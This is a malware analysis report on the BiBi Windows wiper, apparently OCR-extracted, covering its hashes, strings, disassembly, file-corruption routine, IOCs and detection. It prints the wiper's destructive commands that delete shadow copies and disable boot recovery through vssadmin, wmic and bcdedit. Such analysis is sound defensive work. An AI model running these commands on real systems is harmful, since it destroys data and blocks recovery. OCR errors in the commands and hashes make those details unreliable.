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Executive Summary

On October 7th, 2023, a war broke out between Israel and Hamas-ISIS. During the war, a
pro-Hamas hacker group attacked Israeli companies with the ‘BiBi’ wiper, corrupting and
disrupting their operating systems without demanding a ransom and stealing files or
information from the systems.

Malware known as “Wiper” is designed to erase and corrupt data on targeted systems.
Unlike other types of malware that aim to steal or spy on data, wiper malware is specifically
created to cause damage, often making the affected data or system impossible to recover.

In this report, | will analyze the BiBi-Windows-based wiper and examine its characteristics,
attack vectors, and methods for detecting it.

Technical Details
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File Name: bibi.exe

File Type: Executable
Architecture: PE32+ (64-bit)
Size: 203KB

MD5: e26bba0304f14ef96beb60376791d32¢

SHA256: 40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17

Wiper Execution Diagram
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In this analysis section, | will analyze and provide valuable insights into the characteristics
and behavior of the wiper without executing the code.
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The wiper was compiled with Microsoft Visual Studio and was likely coded in either C or C++
programming languages. Additionally, the wiper is a 64-bit executable.

ﬁ Detect It Easy v3.07 [Windows 10 Version 2008] (:x86_64) —

File name

>  CiWsers\idan\Desktop\bibi.exe

File type File size

PEG4 203.0068
Scan Architecture

Automatic AMDGE

- PEB4
Compiler: Microsoft Visual CfC+ =+ (2079 v.16.10 or 16.11)[-]
Linker: Microsoft Linker(14.29, Visual Studio 2019 16.10 or 16.11*)[Consclebd, console]

Compilation Time

The wiper was compiled on October 22nd, 2023.

Compile date: 2023-10-22 ©0:24:41
Debug:
Date.Debug.Pogo: 2023-10-22 00:24:41
Date.Debug.Iltcg 2023-10-22 ©0:24:41

Strings

The following strings seem to be related to the C++ programming language. These strings
are often associated with the internals of C++ classes and their runtime representations.

Type Descriptor’

Base Class Descriptor at (
Base Class Array’

Class Hierarchy Descriptor’
Complete Object Locator'

The wiper collects information about the date and time of the system.
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Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
March
April
June

July
August
September
October
November
December

MM/dd/yy

dddd, MMMM dd, yyyy

HH:mm:ss

The wiper execution produces system information related to system paths, processor cores,
threads, rounds, and stats.
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[+] Stats: %d | %d
[!] Waiting For Queue
[+] Round %d

[+] Path: %s
[+] CPU cores: %d, Threads: %d

During its operation, the wiper carries out four commands in the operating system.

The malware author executes specific commands to remove shadow copies, which can
make it difficult to restore data from backups.

cmd.exe /c vssadmin delete shadows /qulet /all
cmd.exe /c wmic shadowcopy delete

The malware author executes the following command to prevent the system from entering
recovery mode.

cmd.exe /c bededit /set {default} bootstatuspolicy ignoreallfailures

The malware author then executes a particular command in order to disable any automatic
recovery actions.

cmd.exe /c becdedit /set {default} recoveryenabled no

lla/ teIuq/ swodahs eteled nimdassv ¢/ exe.dmc

eteled ypocwodahs cimw ¢/ exe.dmc

seruliafllaerongi ycilopsutatstoob }tluafed{ tes / tidedcb ¢ / exe.dmc|
on delbaneyrevocer }tluafed{ tes/ tidedcb c/ exe.dmc

While executing the wiper, it renames the files to .BiBi extension and disrupts the file system.
.B1B1
The following string appears that it could be indicative of spyware or a keylogger.

©123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz

Wiper DLL Usage

The wiper runs a DLL file during execution:

KERNEL32.dlI 99 0002F9CO 00000000 00000000 0002FD20 00022000
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Malware Resources

The malware author uses a legitimate Microsoft manifest file to evade detection by security
products.

<?7xml version="1.0" encoding="UTF-8' standalone="yes'?>
<assembly xmins="urn:schemas-microsoft-com:asm.v1' manifestVersion="'1.0">
<trustInfo xmins="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivieges>
<requestedExecutionLevel level="asInvoker' uiAccess="false’ />
</requestedPrivieges>
<[security>
</[trustinfo>
<[assembly>

Dissecting the Wiper

In its initial execution, the malware collects information about the system’s disk drives using
the ‘GetLogicalDrives’ API function.

Malware uses this function to detect disk drives on systems and attempt to spread itself
across these drives.

loc_14@005C37:

call cs:GetLogicalDrives
mov dword ptr [rbp+57h+var_78], eax
mov ebx, 1Ah

After gathering information about the disk drives on the system, the malware uses the
‘GetDriveTypeA’ API function to determine the type of each drive, such as removable, CD-
ROM, network, etc.

lea rcx, [rbp+57h+lpRootPathName]

cmp qword ptr [rbp+57h+var_88+8], 1@h

cmovnb rcx, [rbp+57h+lpRootPathName] ; lpRootPathName

call cs:GetDriveTypeA
The malware uses the ‘GetNativeSystemInfo’ API function to determine the processor
architecture of the system and whether it is a 32-bit or 64-bit processor.
Then, the wiper takes the number of processors of the system, moves the value to the eax
register, and displays the value in the command prompt in the initial execution.
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sub rsp, 58h

lea rcx, [rsp+58h+SystemInfo] ; 1lpSystemInfo

call cs:GetNativeSystemInfo

mov eax, [rsp+58h+SystemInfo.dwNumberOfProcessors]
add rsp, 58h

retn

sub_1400090B8 endp

The malware loads the rstrtmgr.dll DLL file using the LoadLibraryA API function. If the DLL
loads successfully, the GetProcAddress function will get the DLL’s RmStartSession address.

lea rcx, LibFileName ; "Rstrtmgr.dll”
movups [rsp+lAF8h+var_78], xmm@
mov [rsp+1AF8h+var_38], ax

movups [rsp+lAF8h+var_68], xmm@
movups [rsp+lAF8h+var_58], xmm@
movups [rsp+lAF8h+var_ 48], xmm@

call cs:LoadLibraryA
movV rbx, rax
test rax, rax

loc_140009083

Y
ol e 2
lea rdx, ProcName ; "RmStartSession”
mov rcx, rax ; hModule
call cs:GetProcAddress
mov rdi, rax
test rax, rax
jz loc_ 140009088

The screenshot below demonstrates how the operation in Figure 15 is executed dynamically:

I C:\Users\idan\Dexktop\bibi-exe - PID: 6038 | Time of Day Thread Module AP

IBD k121878 AM 3 bibi.exe Loadlibrarg [ *Rstrimgr.dil® )
ESI 1EIT21.878AM 3 bk exe GetProcAddress [ (x00007I ca70e0000, “RmStartSession™)

When the malware finishes gathering information, it corrupts files in the C:\Users directory
and collects CPU and thread data from the system.

A threat actor can execute the BiBi wiper by double-clicking on the executable, and by
default, the executable will start corrupting the files inside of the C:\Users path.

On the other hand, a threat actor can execute the wiper via the command line and specify a
specific path.
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A8:

B CA\Users\idan\Desktop\bibi.exe

[+] Path: C:\Users

[+] CPU cores: 4, Threads: 12

Wiper execution via the command line and specifying a specific path:

PS C:\Users\idan\Desktop> .\bibi.exe
[+] Path: C:\Users\idan\Desktop\New folder

[+] CPU cores: 4, Threads: 12

| ] 1KDF7FNx2A.BiBi5602 11/21/2023 11:56 AM
'] CUH6TbRfrM.BiBiS603 11/21/2023 11:56 AM
] GgLDO9JhZy.BiBi5603 11/21/2023 11:56 AM
] kBsksJIOza.BiBiS603 11/21/2023 11:56 AM
| ] qWKwdWYG9n.BiBi5603 11/21/2023 11:56 AM
] rIGsxBsge.BiBiS603 11/21/2023 11:56 AM
'] RwIR7yg5Us.BiBi5603 11/21/2023 11:56 AM
'] RwPvIShEQR.BiBi5603 11/21/2023 11:56 AM
| ] wol6VZDv42,BiBiS603 11/21/2023 11:56 AM

BIBI5602 File
BIBI5603 File
BIBIS&03 File
BIBI5603 File
BIBI5E03 File
BIBI5603 File
BIBIS603 File
BIBI5603 File

BIBI5603 File

The malware uses the ‘Sleep’ API function to delay thread execution. This function is often

employed for time-based evasion by adding delays in the code.



loc_140009167:

lea rdx, [rsp+48h+var_ 28]
mov rcx, rbx

call sub_1480098D0

mov ecx, eax ; dwMilliseconds
call cs:Sleep

mov edx, 1

lea rcx, [rsp+48h+var_28]
call sub_1400099D4

mov rax, [rsp+48h+var_28]
cmp rax, [rbx]

jl short loc_140009167

Using the ‘CreateProcessA’ API function, four command prompts are opened to execute

specific commands.

cmd.exe /c vssadmin delete shadows /qulet /all

aLlaTeiugSwodah db ‘lla/ telug/ swodahs

eteled nimdassv ¢/ exe.dmc’,@
; DATA XREF: sub_l48@85538+2BTo

mov [rsp=-B+arg_@], rbx

push rbp

lea rbp, [rsp-68h]

sub rsp, legh

mov rax, cs:__security_cookie
xor rax, rsp

mov [rbp+Eeh+var_18], rax

xor ebx, ebx

mov [rspt1l6@h+var_F8], @Fh

lea rdx, allaTeiuqSwodah ; “1la/ teIuq/ swedahs eteled nimdassv
mov [rsp+l6@hivar_118], rbx t}
lea rcx, [rsplégh+var_118]
mov [rep+iBhtvar_106], rbx
lea r8d, [rbx+31h]

call sub_l1486095998
cmd.exe /c wmic shadowcopy delete

loc_14@68566F:

|

aEteledYpocwoda db "eteled ypocwodahs cimw cf exe.dmc',©

; DATA XREF: sub_ l140@05530+14ATo

mowv réd, 21h

mav [rsp+l68h+var_118], rbx
lea rdx, aEteledYpocwoda ; “eteled ypocwodahs cimw c/ exe.dmc”
mov [rsp+l68h+var_188], rbx T}
lea rcx, [rsptlseh+var_118]
mov [rsp+l68h+var_F8], @Fh
call sub_l40086990

cmp [rsp+l68h+var_F8], 1@h

lea rcx, [rsp+lseh+var_11@]
mov rdx, [rsp+l6@h+var_10€]
cmovnb  rex, [rsptléBh+var_lle]
add rdx, rcx

lea rex, [rsp+légh+var_11@]
cmp [rsp+l6@h+var_F8], 1oh

cmd.exe /c bededit /set {default} bootstatuspolicy ignoreallfailures

9/15



lec_1489@578E:

mav r8d, 46h

mav [rsp+l68h+var_118], rbx

lea rdx, aSeruliafllaero ; “seruliafllaerongi ycilopsutatstoob }tlu”...

mewv [rsp#l6@h+var_188], rbx

::: E::;+Eg;ﬁjiggh:;§:_;;:] Seruliafllaero db 'seruliafllaerengi yciligf?tatffaob }tluaf:d{ntE J_tidedcb e/ oex'
call Sllb_lmggﬂ i S 3 DATA XREF: S.IJ:J_J.4E'I3-L.-5533+/_GH|G
cmp [rspti6gh+var_F8], 1eh z L

lea rcx, [rsptléBhsvar_118]

mav rdx, [rsptlé@hsvar_18a]

cmovnb rex, [rsptléBhtvar_11@]

add rdx, rcx

lea rex, [rsptlédh+var_118]

cmp [rsp+ié@h+var_F8], 1oh
cmovnb  rex, [rspélEBhdvar_118])
call sub_l48999E34

cmp [rsp+i6@h+var F&], 18h
lea rcx, [rsptlé@hsvar_118]
lea rdx, [rbp+édh+Commandline]
cmovnb  rex, [rsptléBhivar_118]
sub rdx, rcx

nop

cmd.exe /c bededit /set {default} recoveryenabled no

loc_14@0@858AE:

mov réd, 34h

mov [rsp+l68h+var_118], rbx

lea rdx, aOnDelbaneyrevo ; “"on delbaneyrevocer }tluafed{ tes/ tided"...

mov [rsp+icgh+var_le@], rbx

lea rex, [rspti6ehivar_110] abnDelbaneyrevo db ‘on delbaneyrevocer }tluafed{ tes/ tidedcb cf exe.dmc',®
et [rsptiGBhivar_F8], @Fh : DATA XREF: sub_1408@5538+38910
call sub_140886598 =

emp [rsp+l68h+var_F8], 18h

lea rex, [rsp+l6@h+var_116]

mov rdx, [rsp+l6@h+var_18@]

cmovnb rcx, [rsptlé@h+var_11@]
add rdx, rox

lea rex; [rsp+l6dh+var_118]
cmp [rsp+ic@h+var_F8], 18h
cmovnb  rex, [rsp+lé@h+var_118]
call sub_14G889E34

cmp [rsp+l6@h+var_F3], 18h
lea rex, [rsptl6@h+var_11@]
lea rdx, [rbp+68h+CommandLine]
cmovnb rcx, [rsptléBh+var_118]
sub rdx, rcx

nop
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lea rax, [rbp+6@h+ProcessInformation]

xor ro9d, rod ; 1lpThreadAttributes

mov [rspt+168h+1lpProcessInformation], rax ; lpProcessInformation
lea rdx, [rbp+6@h+CommandLine] ; lpCommandLine

lea rax, [rsp+1l68h+StartupInfo]

xor réd, rad 3 lpProcessAttributes

mov [rsp+l6@h+1lpStartupInfo], rax ; lpStartupInfo

xor ecx, ecx ; lpApplicationName

mov [rsp+16@h+1pCurrentDirectory], rbx ; lpCurrentDirectory
mov [rsp+168h+1pEnvironment], rbx ; lpEnvironment

movups xmmword ptr [rbp+6@h+StartupInfo.dwFillAttribute], xmm@
mov [rsp+168h+dwCreationFlags], 8000001h ; dwCreationFlags
mov [rsp+16@h+bInheritHandles], ebx ; bInheritHandles
movups xmmword ptr [rsp+l6@h+StartupInfo.lpReserved], xmm@

mov [rbp+6@h+StartupInfo.wShowWindow], bx

movups xmmword ptr [rbp+6@h+StartupInfo.lpTitle], xmm@

movups xmmword ptr [rbp+6@h+StartupInfo.dwXSize], xmm@

movups xmmword ptr [rbp+6@h+StartupInfo.lpReserved2], xmm@
movups xmmword ptr [rbp+66h+StartupInfo.hStdOutput], xmm@

call cs:CreateProcessA

The following commands executed can be viewed from the created cmd processes.

(= [nz] bibi.exe <0.01 2484 K 5512 K’ 10368

[ conhost exe 7.036 K 17228 K 9456 Console Window Host Microsoft Corporation
= 1532K 1760 K
= 1536 K 1760 K
N 1532K 1.760 K
= Susp... 1524 K 1748 K
Frocuss hane PO Conraass Pai Faail Dol
o b o BT P R R T P o L R SECESS PO T80 Cormnad e covdman 2 vimadnes deisle chadowr /6ol o
B b8 eeRn S, o L .

Lot e 16364 o Fooen Cede U VA0 STS IEMIDON tns- FIERFS LY. " i b o0 e % e el ot S ll b st A el i

After the execution of the commands, the wiper malware begins the corruption action in the
file system. The malware begins by utilizing the ‘CreateFileW’ API function to open files. It
sets the ‘dwCreationDisposition’ parameter to the value of ‘3’, which corresponds to
‘OPEN_EXISTING.’ This action allows the malware to determine whether the file exists in the
file system or not.
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[rsp+48h+hTemplateFile], rdi ; hTemplateFile

edx, eax ; dwDesiredAccess
[rsp+48h+dwFlagsAndAttributes], r9d ; dwFlagsAndAttributes
rcx, rle ; lpFileName

r9d, r9d 3 lpSecurityAttributes

[ rsp+48h+dwCreationDisposition], 3 ; dwCreationDisposition
ré8d, [rdi+7] 3 dwShareMode

cs:CreateFileW

[rbx], rax

rax, OFFFFFFFFFFFFFFFFh

short loc_140009852

call cs:GetLastError
mov edi, eax

The malware uses the ‘WriteFile’ API function to rewrite data to files in the file system. It
handles the files using the ‘hFile’ handle. If the write operation fails, the malware takes action
at the ‘loc_140017C5E’ memory location. The data written in the ‘IpBuffer’ pointer is what the
malware writes when it handles a file.

mov
lea

call
xor

test
jz

rcx, [rbp+57h+hFile] ; hFile

r9, [rsp+136h+NumberOfBytesWritten] ; lpNumberOfBytesWritten
réd, eax 3 nNNumberOfBytesToWrite
[rsp+13@h+1lpOverlapped], rbx ; lpOverlapped

rdx, [rbp+57h+Buffer] ; lpBuffer

cs:WriteFile

rlld, rilld

eax, eax

loc_140017CSE

The Wiper malware uses the ‘FindFirstFileExXA” API function to search for files, directories,
and sub-directories. The starting point for the search is the path that the threat actor
specified during the execution of the Wiper, or it defaults to the ‘C:\Users’ path inside the
‘IpFileName’ pointer.
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loc_1400894EF:

and [rsp+38h+var_10], @

xor rad, rad ; fSearchOp

and [rsp+38h+var_18], @

mov rg, rdi 3 lpFindFileData
mov rcx, rsi ;3 lpFileName

lea edx, [r9+l1] ; fInfolLevelld
call cs:FindFirstFileExW

mov [rbx], rax

cmp rax, @FFFFFFFFFFFFFFFFh

jnz short loc_1406009553

Then, the malware continues the search progress with the ‘FindNextFileW’ function.

sub_ 140009484 proc near

sub rsp, 28h

call cs:FindNextFileW
test eax, eax

jz short loc_1406009499

During the corruption of the files in the file system, the wiper changes their extension to
‘BiBi1’.

.CAUsers\idan‘\AppData‘\Local\Google \Chrome\User Data‘\AutofillStates'2020.11.2. 164546 2|)VFEQG BiBi1
.C:\Userstidan“\AppData‘Local'\Google'Chrome\User Data‘\AutofillStates 2020.11.2.1645464=J57LQIUM.BiBi1
LC:\Usershidan \AppDatatLocal\Google\Chrome\User Data‘\AutofillStates’2020.11.2.164546M\EndvADzIbf . BiBi1
C\Users\idan \AppData‘\Local\Google\Chrome\User Data\AutofillStates’2020.11.2 164546 \FSISP O TwN.BiBi1
.C:\Users\idan‘\AppData‘Local\Google\Chrome'\User DataAutofill States\2020.11.2.164546\gV5KCWagj2s.BiBi1
.C:\Users‘idan\AppData‘Local\Google \Chrome\User Data‘Autofill States\2020.11.2.164946\g YVRP 1Ms6M BiBi1
.C:\Userstidan“\AppData‘\Local'\GoogleChrome\User Data“\AutofillStates 2020.11.2.164546 gy ImT20VYA.BiBi 1
C:\Usershidan“\AppData‘Local\Google\Chrome\User Data‘\AutofillStates'2020.11.2.164546\H7HKKSp1Z0.BiBi1
C\Users\idan \AppData‘\Local\Google\Chrome\User Data‘\AutofillStates\2020.11.2. 164546 \HpGf v Xlqv .BiBi1
.C:\Users\idan‘\AppData‘Local\Google‘\Chrome'\User Data‘\AutofillStates\2020.11.2.164946\h R 7HfwWIHo. BiBi1
.C:\Usershidan‘\AppData‘\Local\Google \Chrome\User Data‘\AutofillStates'.2020.11.2.164546\HVBrZB8hZ5 BiBi1
.C:\Users‘idan“AppData‘Local'\Google\Chrome\User Data“\AutofillStates 2020.11.2.164546%Ce 3LBINK BiBi1
C:\Usershidan \AppData‘Local\Google\Chrome\User Data“\AutofillStates’\2020.11.2. 164546 asiJ2q 3pV.BiBi1
C:\Users\idan \AppData‘\Local\Google\Chrome'\User Data\AutofillStates 2020.11.2.164546%) AuzbcQqgR5.BiBi1
.C:\Users‘idan“AppData‘\Local'GoogleChrome\User Data“\AutofillStates 2020.11.2. 164546 BYi82XM8o BiBi1
.C:\Userstidan“\AppData‘Local\Google"Chrome*\lUser Data‘\AutofillStates \2020.11.2.164546% 2Z)P9g 8N 5. BiBi1

Conclusion

A pro-Hamas hacker group attacked Israeli companies during the war between Israel and
Hamas-ISIS.

The malware’s purpose was to destroy and corrupt the files in the operating system of the
target without demanding any ransom.
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The Wiper was moving between files in the file system of the target and writing gibberish
content to corrupt the files, change their name to a random name, and extension to ‘BiBi’ to
know the files were corrupted and unrecoverable.

The behind-the-scenes wiper attack is more political and less technical because the malware
is very basic, poorly written, and very easy to detect. The pro-Hamas hacker group only
turned to Israeli companies because of the war. This can be understood with the name of the
malware and the name of the extension BiBi (Prime Minister of Israel).

Indicator of Compromise (loCs)

1. BiBi.exe
2. e26bba0304f14ef96beb60376791d32¢c

3. [Random].BiBi[Random]

MITRE ATT&CK

Command and Scripting Interpreter Masguerading System Information Discovery | Data Destruction
File Deletion File and Directory Discovery | Inhibit System Recovery
Virtualization/Sandbox Evasion

Yara Rule

rule BiBi_Wiper

Detection
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yaraé4.exe BiBi.yara malware\

BiBi Wiper malware\\bibi.exe
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